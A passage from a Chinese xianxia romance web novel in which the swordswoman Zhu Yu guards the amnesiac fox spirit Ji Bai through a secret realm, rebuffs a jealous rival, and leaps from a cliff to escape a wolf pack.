一道修长身影快速朝她走来。
祝余心中烦躁,却也不得不看向来人,正是华清宗的人,她叹息,没想到师姐才刚和她说过,这就遇上了,看来她运气确实没有师姐好。
温如尘长了张俊脸,含情的桃花眼,专注看向一人,总是会让人不自觉沦陷在他含情的桃花眼中。
当然,并不包括祝余。
看着祝余脸上冷淡的神情,温如尘心中一涩,那么多女修都曾沉沦在他眼中,为何祝余却从不肯多看他一眼。
温如尘满怀希冀的看着祝余说道:“祝余,我也结丹了。”
“恭喜。”祝余的声音很平静,没有一丝多余的感情。
温如尘心中挫败,为何她对他总如此冷漠。
祝余只觉得不耐烦,她和这人并不熟,只是曾经和他比试过,自她赢了他后,这人总是时不时出现在她面前,告诉她,他什么修为。
但,祝余一点都不想知道,也不关心。
“如果你没事,烦请让路。”
说完就拉着既白上楼。
既白本来在好奇的打量眼前这人,被祝余一拉,他也来不及打量了,急忙跟上。
温如尘被迫让到一边,这才发现,她身边居然有一男子,温如尘表情皲裂,含情的桃花眼扭曲,祝余身边怎会有其他男子?
他双眼愤怒,不甘的看着既白的身影,恨不得眼神能杀人。
时灵兮姗姗来迟,遗憾的直叹息,哎呀,回来迟了。
——
“祝祝,刚才那人是谁?”既白逗弄着白鹊好奇问道。
“不熟,不认识。”
若是温如尘听见此回答,定是要将牙都咬碎,他追了她这么多年,结果竟是得到个不熟不认识。
祝余神情温柔的摸着他发顶,“无关之人,不必理会。”
面上神情与面对温如尘时的冷淡截然不同。
想着好几日没摸他狐狸尾巴了,祝余有些心痒了,“我给既白买烧鸡吃,既白是不是该给我摸摸狐狸尾巴了。”
想到她摸自己尾巴时,身上闪过的酥麻感,他脸上莫名发热,心中也莫名紧张起来,含糊不清的低声应道:“好。”
9. “真乖”
此次秘境极为特殊,各大宗门来了不少人,当然玄清宗也不例外。
对于既白,她如今也只大概知晓,九条狐狸尾巴只剩三尾,修为低微,且没了以前的记忆。
更多的,她也不知道。
担心他体内会有她不曾察觉过的暗伤,原本她是打算回宗门再做打算的,而如今正好药峰弟子也在。
祝余权衡过后,立马做出打算。
既白正埋头啃鸡腿,长挑的狐狸眼不时满足微眯,再没有比这还好吃的东西。
感觉到祝余站在自己前面,他正啃的不亦乐乎,匆匆抬头看一眼,十分大方的将自己面前的烧鸡往祝余那边推了推,便又低头继续与手中香喷喷的鸡腿做斗争。
祝余眉眼温柔,含笑道:“我不吃。”
顿了顿,继续道:“我出去一趟,很快就回来,既白等我回来,好不好?”
听到她要出去,既白啃鸡腿的动作一顿,好像手中的鸡腿也没那么香。
他抬起头,狐狸眼中的不情愿,极其明显。
但在她目光下,还是乖乖的点头,只是眼中的委屈快要化为实质。
“很快的。”祝余揉了揉他发顶,安慰道。
安顿好他后,祝余这才走出房间。
听着“咯吱”的关门声,既白盯着门,看了片刻,默默低头,咬了一口鸡腿,索然无味,似乎没有之前的好吃。
心中格外焦躁不安,他干脆放下手中的鸡腿,来到门前默默等着。
——
祝余问过师姐后,来到药峰弟子所在的位置,她抬手敲响房门。
“叩—叩叩——”
房门很快被人打开,见是她,开门之人很是惊讶。
“祝师姐。”
祝余礼貌问好,“杜师妹。”
虽为同门弟子,但两人所在的峰相距甚远,也并无交集,除了在宗门大比上见过几次,因此并不相熟。
杜若双眼发亮,心中格外激动,竟是祝师姐,若不是要维持自己的风度,她恨不得疯狂大叫几声。
她与祝师姐是一同入门的,在同门都还在练气筑基时,师姐却早已结丹,在她们心中是天才般的存在,自然会仰慕。
她努力克制着自己心中的激动,平静问,“不知祝师姐找我是为何事?”
祝余斟酌着说道:“我有一个朋友,之前受过伤,烦请杜师妹帮忙看看。”
“自然可以。”杜若想也不想,立即应下。
祝余闻言松了口气,杜师妹的恩情她记下了。
祝余带着杜若来到房间,刚推开门,便见到了眼巴巴等她回来的既白。
祝余微愣,似是没想到。
毕竟想处了多日,她知道他有多喜欢烧鸡,在她出门时,他也正吃的开心。
她眼神看向桌子位置,上面的烧鸡仍在,只是似乎有些冷了。
祝余后知后觉的发现,他对自己显然过于依赖。
一时间,她竟不知这算好还是坏。
但现在不是思考这个问题的时候,她侧过身,邀请杜若进屋,“杜师妹,请。”
杜若尽量掩饰心中的激动,神色自然的走进去,在看到既白时眼神更是一亮,好生漂亮的男子。
她眼神在祝余和既白间打转,心里暗自嘀咕,这不会时祝师姐的心上人吧。
不得不说,二人甚是相配。
既白眼巴巴的望着祝余,像是急需主人安抚的小狐狸。
祝余感受到他的不安,几步走到他面前,抬手轻揉他发顶。
小狐狸满意了。
“我就在门外,让这位师妹给你检查身体,好不好?”
既白幽怨的点头。
“我听祝祝的。”
祝余忍不住又揉了揉他发顶,“真乖。”
杜若忍不住偷笑,眼神在二人间来回打转,好看爱看,以后师姐的爱情由她来守护。
祝余转身看向杜若,“有劳师妹了。”
杜若收起笑,故作镇定的摆摆手,“师姐无需客气。”
祝余关好门,安静等在门外。
低头看着手中的金麟剑,心中甚是烦躁,她怕听到不好的消息。
没一会,门便开了。
她急切朝杜若看去,便见杜若脸色也不太好,祝余心中一沉。
却还是问道:“如何?”
杜若摇摇头,脸上表情凝重,“师姐,不太好。”
她看一眼安静坐着的既白,深吸一口气,朝祝余说道:“师姐,他神魂受损。”
凡是修仙之人,无人不知神魂的重要性。
祝余听之,一颗心沉入湖中,能修复神魂的灵物,这世间难寻。
祝余抬头,“今日多谢师妹了,日后师妹有何需求,尽管开口。”
送走杜若,祝余望向他澄澈的眼眸,不禁叹息道:“真不知道这十五年,你是如何过来的。“
既白偏过头思考,眨了眨好看的狐狸眼,然后给出答案,“我也不知。”
“不记得也好。”
如果记忆是痛苦的,不如不记得。
既白偏着头,狐狸眼看了她半响,感受到她似乎在因为自己而难过,他的心里也闷闷的。
他起身,狐狸尾巴从他身后冒出来。
祝祝很喜欢他的尾巴。
既白主动将狐狸尾巴放到祝余手中。
好看的狐狸眼直勾勾的看着她,认真说道:“祝祝,不要难过。”
祝余一阵错愕。
反应过来后,心中仿佛被他投入一颗小石子,荡漾起一圈圈涟漪。
她摸着手中蓬松柔软的狐狸尾巴,目光带着某种侵略性,直视他问,“为什么这么说?”
既白被问住了,狐狸眼迷茫极了,他就是不想看到祝祝难过,还能为什么?
祝余叹息一声,看出他眼中的迷茫,没在逼问他,看来还是不懂啊。
他如此依赖她,见她难过,又会主动露出狐狸尾巴安慰她,她还以为自己的心意要有回应了。
如今看来,他对她更像是雏鸟情结,祝余一阵头疼,用力薅一把狐狸尾巴,她只想当他道侣。
——
现在的桃源城汇聚各方人马,人员杂乱,为避免不必要的麻烦,接下来两日,祝余都在修炼,为进秘境做好准备。
这天,她刚修炼结束,门响了。
她起身开门。
“师姐。”
时灵兮面色凝重,“师妹,明日一早出发。”
“师姐发生什么事?”
见她面色如此凝重,祝余忍不住开口问道。
“昨日,有两个宗门发生冲突,今早有人发现其中一个宗门的人全死了。”
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她叹息,“此行只怕不会顺利。”
祝余听完,也是一惊,这种事在以前是从末发生过的。
此次秘境之行当真鱼龙混杂。
送别师姐,祝余目光落在既白身上,秘境之中凶险无常,此次更是多添变数,若带他进去,她很害怕自己护不住他。
可若是将他一人留在此地,鱼龙混杂,她同样不放心。
祝余一时间进退两难,沉思良久,也没得到一个满意的答案。
而此次秘境,她必定是要进的,机会难得,而他身上有太多秘密,她必须尽快成长。
“既白,我要进秘境,你要同我去吗?”祝余打算先问问他的意思。
既白正在逗弄白鹊,闻言毫不犹豫的点头,“祝祝在哪里,我就在哪里。”
想了许久,祝余还是决定带着他去,有她在,她宁愿牺牲自己也要保全他。
而若是她不在,恰好曾经伤他之人发现他,他将毫无办法。
做好决定后,祝余将身上的防御法宝尽数给他,此刻她无比后悔,离开宗门时,怎么没多带几件。
可她还是不放心。
心中也莫名的乱,仿佛昭示着此行的不顺利。
——
一日很快过去,玄清宗弟子聚集在一起,兴致勃勃的谈论着此次秘境。
祝余带着既白站在角落,眼中愁绪万千,她也不知道自己的决定到底对不对。
会不会害了既白。
“师妹。”
祝余抬头,见是时灵兮,她喊道:“师姐。”
时灵兮目光扫过既白,什么都没说,低头朝自己储物袋里翻了翻,仍出一个防御法器和一瓶丹药。
祝余接过,衷心的道谢:“谢谢师姐。”
师姐的恩情,她这辈子都还不清了。
时灵兮点点头,收下她的道谢,走到正前方,看向众人道:“既然人齐了,那便出发吧。”
“是。”
众人御剑而起。
祝余也御剑跟上,她回头看向身后的人,“可还习惯?”
既白闻言点点头。
见他真的没有任何不适,这才彻底的放下心来。
地上的人抬头朝天上看去,一个个修士,一道道流光,占满了半个天空,让人艳羡不已。
“哎,也不知我何时才能御剑飞行。”
“就你这灵根,别做梦了。”
说话之人很是不服气,“莫欺中年穷。”
人群中皆是一片嬉笑。
——
千重山,便是此行众多修士的目的地。
山上早已有许多人在等待。
空中还有一些人不愿下来,停在半空中。
此地,放眼望去,皆是人。
祝余刚收起金麟剑。
“祝余。”
祝余皱眉回头,见又是温如尘。
只觉这人当真像个苍蝇,时不时就要跑出来烦她一下。
温如尘当没看见她不喜的眼神,信步朝她走去,笑眯眯的桃花眼在看见既白时一顿。
他托了好些人打听,都没打听到这男子是何人,那日没注意,今日才发现他修为低微。
温如尘自信一笑,不足为惧。
如今的祝余,不过是被美色迷了眼,他会让她知道,自己与她才是最相配的。
10. “我要给祝祝做男宠”
“温道友,止步。”祝余冷声,脸上表情寡淡,眼中更是冷漠如寒冬的湖面,没有一丝多余情绪。
如此众目睽睽下,温如尘脸上闪过些许难堪,他急切道:“我…我只是……”
祝余再次不耐烦的打断,“秘境开启在即,温道友还是回自己宗门队伍较好。”
温如尘不甘心的握紧拳头,桃花眼直勾勾的盯着她,希望她能看自己一眼
他只是想告诉她,只有自己能追上她的脚步,唯有自己能配得上她,空有美色的废物,不配站在她身边。
可祝余完全不给他机会。
没在管他,祝余偏头,眼中忧虑甚重,却还是神色温柔的与既白说话,“如果发生危险,事态不对,不要回头,往前跑。”
“记住了吗?”
既白歪着头,皱着眉,想了片刻,问道:“祝祝怎么办?”
“不用管我。”祝余极为认真答道。
“不行。”既白斩钉截铁的摇头,“我不会抛弃祝祝。”
祝余气笑了,用力揉一把他发顶,说半天,她白说了。
心情却格外的复杂,他说的是不会,而不是不能,一字之差,表达出来的意思却是天差地别。
温如尘一直没走,在看到祝余截然不同的态度后,眼中闪过一抹杀意,他可以忍受祝余对他的冷漠,却不能容忍她对别的男子露出如此神情。
杀心四起,这名男子必须死。
既白虽没了记忆,但感知危险的本能仍在,他莫名感觉后颈发凉,仿佛被躲在阴暗角落的毒蛇盯上了。
他下意识回头,并未见异样。
“怎么了?”
祝余一直在他身侧,自然在第一时间发现他的异常。
既白眨了眨眼,顿了一下,如实照说,“好像有蛇。”
“蛇?”祝余满眼疑惑,千重山确实会有蛇,但因秘境将会在这里开启,千重山早已被修士包围。
有蛇也只怕早躲起来了。
祝余目光扫了一圈,此处都是玄清宗的弟子,弟子们面带喜意,交头接耳的谈论着,并未见蛇的踪迹。
况且,她一直在他身侧,也并未感到有蛇。
祝余只当他看错了,安慰他,“可能是像蛇的树枝或是藤条。”
毕竟千重山如此之大,偶尔有些树枝藤条长得怪异些,也正常。
既白点点头,深信不疑。
祝祝说的都是对的。
——
夕阳半悬,金色余晖似朦胧薄纱,披在千重山,为本就具有神秘色彩的千重山,更添虚幻飘渺美。
但无人在意,众修士皆目露紧张的盯着千重山,生怕自己一眨眼,便会错过什么。
残阳越来越低,直至最后一缕金晖落下。
夜幕悄然间降临。
千重山却依旧亮日白昼,不见半分黑暗。
又等了许久,再过一会天就该亮了。
有一名来此等了许多天的修士,彻底不耐烦,不满的发牢骚,“不会是假的吧?”
无一人理会。
他更不满了,大声嚷嚷,“喂!我说你们不会是被人骗了吧!”
他是个散修,才刚筑基,秘境一事,也是道听途说来的,并不知晓内情。
“聒噪。”
风声呼啸,一道白光闪过。
男子眉心正中飞刀,飞刀极薄,呈柳叶状,十分精致,甚至来不及惊呼一声,男子直挺挺倒下,死不瞑目。
祝余皱眉,一句聒噪,便要人性命,此飞刀主人实在太过凶残。
“这便是前几日发生冲突的两个宗门之一。”时灵兮不知何时来到她身旁。
她看了眼祝余,继续说道:“死的那个宗门,死状极为蹊跷,身上没有任何伤口,面上带笑。”
“师妹可知为何?”
祝余稍一思考便要给出答案。
没等她给出答案,一名容貌艳丽的女子走出,她身上服饰奇特,色彩斑斓,纹饰瑰丽,身上还带着许多银饰。
祝余唇间轻吐出一个字,“蛊。”
时灵兮面色凝重,点头,“正是。”
祝余回想着有关蛊门的记载,蛊门在修仙界中极其特殊,虽为同类,但整个修仙界极为厌恶,只因蛊门行事作风,像极了魔族。
杀人全凭自己喜好。
像如今死不瞑目的男子,像那个被灭的宗门。
按书中记载,百年前,蛊门内部发生斗争,自从消匿于修仙界。
书中记载只有寥寥几语,并未说明斗争的起因,也并未记载是谁在斗争中获胜。
而如今,蛊门刚一出现,便灭了一个宗门,不到万不得已的地步,祝余并不希望自己跟蛊门对上。
蛊,在修仙界极少的记载中,是让人望而生畏,防不胜防的存在。
只见那名容貌艳丽的女子,缓缓走到早已死亡的男子前,她嗤笑一声,“蠢货。”
女子伸出手,一只蜘蛛从她袖中爬出,众人看清蜘蛛模样,不禁倒吸一口冷气。
那蜘蛛竟长了一张人脸。
人脸蜘蛛向下一跳,跳到那名死不瞑目的男子身上,露出自己锋利的牙齿,一口咬住他的脖子,疯狂吮吸。
祝余蹙眉,在第一时间捂住既白眼睛,但即便如此,他的脸色还是白了几分。
没一会,男子便干瘪下去。
人脸蜘蛛重新爬回女子袖中。
周围修士
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脸色都不太好,但见识过如此凶残画面,无一人敢出声质问。
祝余看向自己师姐。
时灵兮朝她摇头。
祝余握着手中的剑,默默低下了头,眼中神色不明。
既白感知到她的低落情绪,主动拉住她的手,用自己的方式陪着她。
气氛忽地紧张起来,祝余抬头,却见那名蛊门女子正朝着玄清宗所在的方向走来。
玄清宗弟子皆如临大敌。
女子见此情景,清脆一笑,“好像吓到你们了,实在抱歉。”
虽说着抱歉的话,可脸上神情却仍未有变化。
时灵兮上前一步,挡在众玄清宗弟子前,正要开口。
女子却一改之前的风格,悠然开口,“不要紧张,我只是来交个朋友。”
说着视线看向一人。
祝余顿时警铃大作,她所看的方向,正是在她身侧的既白。
祝余想也不想的挡在他身前。
女子全然不在意,看着既白露出来的衣角说道:“这位公子比我所有男宠都好看,要不要随我走,做我的新男宠。”
“男宠惯爱争风吃醋,但你这般好看,杀了他们也不是不行。”
时灵兮见到祝余的动作,心中不由得为她捏了把汗,目光十分警惕,见过她那般喜怒无常的模样,生怕她下一秒就仍出一把飞刀。
“不了,他已有道侣。”祝余面不改色说道。
“哦?是你吗?”
女子打量祝余几眼。
祝余正要回答,既白却突然从她身后闷闷出声,“我不要给你做男宠,我要给祝祝做男宠。”
此言一出,玄清宗弟子皆眼神奇怪的看着祝余。
先前她们还好奇这名男子是谁,祝师姐竟如此护着他,如今一来,倒也说得通,只是没想到祝师姐竟是这种人。
为何没人信是道侣,自然是因为既白实在太像男宠。
时灵兮也目光怪异的朝她看来。
道侣还是男宠?
祝余脸上蓦地一红,一如日出时江边的江花,在众人打量下,她低眉垂眼。
既白可能不知道男宠是什么意思,但他实在是语出惊人。
女子挑了挑眉,有点意思。
这时,她身后走出一个衣着和她相似的女子,女子恭敬朝她道:“少主若是喜欢,直接抢回去便是。”
女子没再说话,似乎是在思考可行性。
祝余心乱如麻,握住既白的手不自觉用力。
她不能连累玄清宗其他人。
她该怎么办?
为何总是她?
祝余心中绝望,她恨这种无力感。
但她更狠自己。
11. 乱了分寸的心跳
正当气氛僵持之际,忽有人惊呼。
“快看!秘境开了。”
此言一出,刚才还安安静静的千重山,瞬间躁动起来,惊起一群群飞鸟。
祝余仍不敢掉以轻心,玉立身姿一如苍翠松柏,始终坚定的站在他身前。
既白站在她身后,好看的狐狸眼轻眨,眸中清晰倒映出她玉立的身姿,周遭万物仿佛消失不见,眼中只有她。
心弦被撩动,他抬手覆盖在心口位置,是乱了分寸的心跳。
一下一下,沉稳有力,震耳发聩,让他不容忽视。
他想,他应该是生病了。
蚩离思索许久,抬眸看向祝余,笑意不达眼底,“算你走运。”
带着兴味的目光转而又看向既白,“下次,可就没这么好运了。”
话语里的深意让人不寒而栗。
“走。”
蚩离带着身后的人朝秘境走去。
秘境开始只是一条又小又细的缝,随着时间推移,缝隙越来越大,直至能容纳多人通人。
见裂缝停止变化,修士们立即马不停蹄的往里赶,生怕慢了一步,好东西就被别人抢去。
祝余耳旁仍回荡着蚩离的话,她垂下眸,用力握紧了金麟剑。
一番思想斗争后,她看向时灵兮。
“师姐,此次秘境,我想带着既白单独走。”
和师姐同走,固然能得到师姐的庇护,但也会少了很多历练机会。
一次次的无力,无一不在提醒她。
她等不了了。
时灵兮沉默思考片刻,“想好了?”
“嗯。”
时灵兮目光落在既白上,“其实你大可不必如此,只要你……”
祝余听懂她的未尽之语,摇头拒绝,“师姐,我不会如此。”
抛弃既白的事,她永远不会做。
“那便去吧。”时灵兮无奈道。
“多谢师姐成全。”
——
目送师姐离开,祝余回眸,目光落在既白略带慌张的狐狸眼里。
“怎么了?”
祝余一头雾水。
“没…没事。”既白忙不迭的摇头。
耳根却莫名发烫,他下意识的不想让她知道,刚刚他乱了分寸的心跳。
祝余看了他片刻,见他眼神躲闪,一副别看他的样子,便也没在纠结,而是重新认真问道:“既白,里面很危险,你确定要和我一起进去吗?”
“我要和祝祝在一起。”
他用力点头,眨着好看的狐狸眼,十分肯定道。
祝余扫了一眼四周,此前人满为患的千重山,不过转瞬间便只剩零星几人,剩下的人大多修为低微,还在犹豫。
祝余收回目光,牵好既白,坚定朝秘境而去。
二人的身影消失在裂缝里。
——
眼前迷雾散去,视野渐渐清明,察觉身后有危险袭来,祝余第一时间带着既白离开。
“啪”一条巨大的蛇尾巴,打在刚才她们所站的位置,惊起一地灰尘。
将既白安顿在安全地方后,她看向攻击她们的东西,是一条很大的巨蛇,透着绿的竖瞳,正危险的盯着她,蛇信子正发出“嘶嘶”声。
剑指抚过金麟剑,祝余眸中坚定,变强是她此次唯一的目的。
她提剑刺去,主动发起攻击。
剑身如墨,寒气逼人,祝余身姿矫健,金麟剑与蛇尾巴相撞,碰撞出一阵白光。
祝余回忆着曾经所学过的剑式,剑式她曾挥舞过上千上万遍,早已刻入她的骨血中,一招一式,是如此的熟悉。
祝余游刃有余,边出剑边思考,如何将一招一式伤害最大化,如果她此时面对的是人,又该如何出剑。
金麟剑身上闪过一抹幽深暗光,似乎是在回应她,祝余沉浸在思考中,错过了这一幕,她再朝金麟剑看去时,剑早已如平常。
与大蛇的战斗,祝余越发得心应手,手中的金麟剑步步紧逼,大蛇一时慌乱,露出破绽。
等的就是现在,祝余持着金麟剑,全力一击,“破!”
金麟剑刺入大蛇坚硬的鳞片,大蛇失了力倒在地上,扬起一地落叶。
祝余将剑插入地上,来不及多嘱咐既白一句,立即打坐入定,在刚才的一战中,她领悟到了很多东西,祝余不想就此放过。
不知过了多久,祝余再度眨开眼,眼前是既白担忧的脸。
见她醒来,既白好看的狐狸眼一亮,激动的扑进她怀里,“祝祝,你醒了。”
祝余一愣,反应过来后,眼中的笑意被无限拉长,是他自己
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主动的。
她伸出双手揽在他腰间,用力的将人往怀里抱紧几分,鼻尖是独属他的味道,心中的空虚被填满。
只要有他在,一切都是值得的。
“抱歉,让你担心了。”
既白摇摇头,“祝祝没事就好。”
祝余很想多他抱一会,但想到还有更为重要的事,只能不舍的摸摸他的头,叹息一声,拉开了两人间的距离。
“时间过去多久了?”
既白眨眨眼,伸出一根手指,“祝祝,一天了。”
祝余一怔,竟这么久,但想到自己已经到金丹中期了,很值得。
便又想到,他一个人守了自己一天了,关心道:“会很无聊吗?”
祝余突然后悔没带上白鹊了,有白鹊在,自己在忙时,好歹能陪着他解闷。
“有祝祝在,不无聊。”
虽他如此说,但祝余还是打定主意,给他抓个合适的灵兽陪着他。
休息好后,祝余便又带着他,继续前行,一路上遇到不少妖兽,她出剑的速度越来越凌厉,击杀妖兽所用的时间也更短。
不过短短几天,祝余修为便有了质的飞跃。
一剑又击杀一只妖兽,祝余叹息一声,还是太慢了,目前所遇到的妖兽已经满足不了她了,她想去挑战更高阶的妖兽。
但她始终对既白的安危有所顾虑,只能暂时搁置。
还未等她遇到更高阶的妖兽,祝余便又遇到了最不想遇到的人。
祝余看着前方迎面跑来的华清宗弟子,毫不犹豫的拉着既白,转头就走,偏偏对方已经看见她。
“祝余!”
温如尘眼睛一亮,大声呼叫,他的目光在看到旁边的既白时,杀意一闪而过。
既白后颈一凉,眉头微蹙,朝身后看去,好看的狐狸眼里是疑惑不解,这里也有蛇吗?
温如尘想到身后正在追杀他们的妖兽,眼中精光闪过,目光看向既白,嘴角勾起不屑的笑,没用的废物,去死吧。
温如尘来到祝余前,气喘吁吁道:“祝余,后面有妖兽。”
听此,祝余脸色一变,果断的拉起既白就要走,华清宗这么多人都打不过,她更打不过了。
只是,显然来不及了。
祝余皱眉,目光扫过温如尘,晦气。
12. 遇险
祝余美眸微冷,金麟剑出鞘,后有断崖,前有妖兽,恶战不可避免。
狼兽皮毛呈灰白色,威风凛凛,眼中凶光乍现,低吼着,步步逼近。
既白脸色苍白,显然也被吓到了。
“别怕,我会保护你。”祝余握住他的手,眼中是他的身影,承诺道。
他抬眸,视线撞入她眼中,她的眼眸深邃,似神秘一望无际的夜空,却拥有一种神奇力量,在她目光下,心底生出一股安全感。
害怕的情绪也渐渐消散而去。
“我相信祝祝。”
温如尘愤然收回目光,咬紧了牙,名为嫉妒的情绪在心中翻涌,为何被祝余这般对待的人不是他?
他的目光如毒蛇,与旁边虎视眈眈的狼兽不相上下,他一定要杀了这个废物。
呜——
领头的头狼发出一声长啸。
其余狼兽低应一声,亮出獠牙与利爪,纷纷朝她们袭来。
“保护好自己。”
祝余不放心的嘱咐一声,手持金麟剑加入战斗,她身姿轻盈,出剑利落,在狼群中来去自如。
狼兽毛发坚硬,防御能力很强。
即便如此,没过几时,如墨的金麟剑便斩下一狼兽头颅,领头狼看到,眼中悲哀涌现,悲哀过后便是滔天的怒火。
头狼目光不善的盯着祝余,对着天空又是一声长啸。
随后便向祝余冲去。
祝余脸色突变,心中暗道不好,头狼是在呼叫其它狼群。
目前处境本就凶险,若狼群越来越多,只怕生存希望渺茫。
必须尽快离开这里。
既白所在位置还算安全,他咬着唇,双眸一眨不眨的看着祝余的身影,狐狸眼中是满满的担忧,无助的看着自己的双手。
他也好想帮祝祝,他该怎么做?
温如尘偏头朝祝余看去,她正与头狼缠斗,无暇分心。
他与华清宗弟子合力斩下一狼头,心中油然生起一股满足,看,只有他才能与她并肩作战。
而不是如那废物一般,只会躲在后面。
温如尘眸光微闪,心中有了一计,他朝旁边的弟子示意,弟子便识趣的退开。
温如尘手中的剑别有预谋的刺向狼,一边激怒狼一边往后退。
他眼角余光一直注意着既白,防止他发现自己的意图,转而朝祝余求救。
嗷—
狼被他激怒,低吼出声,狼瞳死死盯着他,獠牙泛着冷光,仿佛下一秒就会飞扑起来,咬断他的脖子。
温如尘一僵,狼突然袭来,他连忙提剑去挡,堪堪避开,差点被咬到。
温如尘心生愤怒,他竟然被一头畜生吓到了。
祝余正与头狼对峙,头狼低吼着龇牙朝她扑咬而来,她提剑挥出一道剑气,一个闪身避开。
头狼扑了空,不甘心的冲着祝余低吼,头狼毛发竖起,摆出攻击姿势,不死心的继续寻找进攻的机会。
祝余得以一丝喘息,她轻喘着,不放心的朝既白看去。
一眼,心猛地一缩。
既白的注意力本全在祝余身上,但狼的低吼打断了他,他偏头看去,一只狼正在他不远处。
温如尘见他发现了,心中冷笑,现在想走,来不及了。
温如尘不再隐藏自己实力,跃起出剑,使出全力一击,砍下狼的尾巴。
尾巴掉落在地,伴随着艳红的血迹。
失了尾巴的狼痛的呜呜低吼,双眼通红,显然是被彻底激怒。
既白目睹这一幕,眼前突然闪过模糊不清的片段,昏暗的地牢里,他的手脚被禁锢住……,没等他看清,脑海中一片白光闪过,他痛苦的抱住头,大口呼吸着,快要喘不过气来,好疼,好疼。
暴怒的狼龇牙朝温如尘扑去,温如尘斜睨一眼既白,眼中是势在必得,利落翻身向着既白方向一滚,拿出隐身符贴到在自己身上。
温如尘瞬间消失。
隐身符难得,如此轻易用掉,他也有些肉疼,但能将这名男子杀了,也算值了。
温如尘隐身后,并不打算离开,他退到一旁,双手抱胸,嘴角是明晃晃的笑意,他要亲眼看着这废物被撕成碎片。
猎物突然消失,断尾的狼仰天长啸,愤怒无处发泄,他龇着牙虎视眈眈的朝既白扑去。
既白正深陷痛苦中,他跌坐在地上,抱着头,双眸紧闭,冷汗涔涔,不停的呢喃着好疼好疼。
祝余入眼,便是他无助坐在地上,狼直冲他脆弱的脖子而去的场景。
“不!”
如此一幕,祝余吓得心跳都漏了一拍,反应过来之后,她不顾一切的向既白冲去。
一边是暴怒的狼,一边是焦急赶来的祝余,而既白仍陷痛苦之中无法自拔。
“呜”断尾狼一跃而起,就要咬向他脖子。
惊险一刻,祝余终于赶到,但来不及出剑了,她毅然站在既白面前,以身挡之。
“噗呲”狼一口咬到她肩上,利齿穿透皮肉,祝余疼的皱眉,却死死咬着牙关,不让自己发出闷哼。
她如一颗参天大树,始终不曾移动半分,为他撑起一角。
既白似乎感受到她的存在,猛地抬头,他那双好看的狐狸眼中蓄满了泪,他抬头时,眼中泪水如雨滴落,不停从他眼角滑落,他痛苦出声,虚弱至极,“祝祝,我好疼啊。”
见他如此,祝余心口处,也跟着一阵一阵的发疼。
下一秒,在她焦急的目光下,既白缓缓倒地。
祝余心中一慌,提剑反手刺向肩上的狼,
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金麟剑直直的刺入狼眼睛,狼哀叫一声,松开了嘴。
祝余肩上血迹染红一片,身后的狼群虎视眈眈,来不及管肩上的伤口,她忍着疼将既白抱起,迅速离开此地。
一旁的温如尘见此,手攥成拳,恨不得将牙咬碎,眼中杀意明显,竟然让他逃过去了。
怕祝余发现此事跟自己有关,他立马揭下隐身符,隐身符在他手中无风自燃,很快就只剩灰烬。
温如尘更加气愤了,用了一张如此珍贵的隐身符,竟没将人除去。
祝余情况很不好,肩上痛意钻心,但她更担心怀中昏迷不醒的既白。
她小声呼唤,“既白,既白。”
但都无反应。
呜—呜呜——
头狼呼唤的狼群赶来了,密密麻麻将她们围了个严实。
华清宗弟子脸上一片灰败,看向周围人,今日就是他们的死期吗?
温如尘脸上也难看极了,早知如此就不杀那头小狼了。
先前,他们遇到一只落单的小狼,看着没什么攻击力,他便毫不犹豫的将其杀了,哪知道会遭到狼群的追杀。
华清宗弟子在刚才的一战中受了不少伤,还有几人丧命,如今,他们完全不是对手。
他立即将目光放在祝余身上,眼中迸发出希望的光芒,祝余如此厉害,她一定有办法。
他快步走到祝余身前,目光忽视着她怀中昏迷不醒的既白,着急问,“祝余,现在我们该怎么办?”
祝余抬眸,放眼望去尽是一头头高大威猛的狼,她冷漠道:“听天由命。”
温如尘脸色一白,不甘心的问,“真的没办法了吗?”
他,不想死。
祝余没再理会他,抱起既白,独自来到断崖边。
她带着探究的目光朝下看去,断崖边浓雾四漫,压根看不清下面是什么情况。
她思考了片刻,留下来,未必会有生机,而迷蒙下隐藏的未知,说不定会有生路。
呜——
头狼再次长啸,狼群缓缓逼近,显然是要对她们发动攻击了。
温如尘白了脸,忙不迭失的看着她。
祝余淡漠以对,这狼群本就是他们招惹的。
狼群袭来,祝余闭眼纵身一跃,跳入断崖。
祝余闭着眼,将怀中的既白抱紧,心中平静。
爹娘,你们会保佑女儿的,对吗。
温如尘不敢置信,连忙跑过去,伸手想要抓住她,“祝余!”
却只抓到一手雾。
华清宗弟子面如死灰,有弟子上前,“师兄,我们该怎么办?”
温如尘眼神阴鸷,都是废物,用他们的命换自己的命,也算是死得其所了。
风吹过,只见满山支离破碎的尸体。
13. 你永远不会是我的麻烦
耳边风声呼啸,冷风寒冷刺骨,如肆虐的野兽,一个劲的往她们身上刮。
祝余试图自救,但不知是何原因,入迷雾的那一刻,修为尽失,现在的她与凡人无异。
身上一片冰冷,肩上的伤口因为寒风的肆虐,血流的更快了。
祝余头脑一片晕眩,脸色苍白如纸。
纵使如此,她依然尽全力将既白护在怀中,不知既白现在情况如何,她想睁开眼看看,但风实在大,吹得她睁不开眼,只能放弃。
寒风越来越大,冷的人直颤,祝余咬着舌尖,尽力保持最后一丝清明,但不适感依然在加重,她知晓自己迟早会晕过去,但无论如何,既白都要和她在一起。
祝余用力一咬舌尖,嘴里瞬间弥漫起血腥味,疼痛也让她恢复了片刻清醒。
祝余忍着痛,僵硬着手指,费力解下系在他腰间的腰带,每动一下,肩上的疼痛便加剧一分,她咬牙忍受,腰带穿过两人腰肢,将两人紧紧绑在一起,密不可分。
她苦中作乐的想着,若今日必死无疑,那她和既白也算共死了。
不能同生,同死也不错,至少他在身边。
系好一个死结,祝余再也支撑不住,眼一闭,彻底晕厥过去。
风声呜呜,如凌迟处死的催命符,不停下坠的二人,身上的体温也越来越低,持续失温,离死亡不远了。
似乎感受到死亡的威胁,既白身上突然出现一道白光,狐狸耳狐狸尾巴同时出现,若祝余清醒着,就能看到他此时身后是九条狐狸尾巴,但可惜,除却三条毛茸茸的尾巴外,其余的都是虚影。
一道温暖的白光,轻柔的笼罩着二人,寒风被隔绝,虚影消失不见。
三条毛茸茸的尾巴,攀附在祝余腰间。
——
祝余再次睁开眼,眼前漆黑一片。
“滴”是水滴滴落的声音。
一瞬间,她想起之前所发生的一起。
“既白。”
祝余脸色一变,就要起身去寻找他,腰间却被压住,让她动弹不得。
她伸手去摸,眉毛眼睛嘴巴,一笔一划,皆是自己所熟悉的,是既白。
心安定下来。
祝余这才抬头去看,她们身在何处。
但眼前黑漆漆的,什么也看不清,黑暗中,一双拇指大小的眼睛,好奇的偷偷打量着她们。
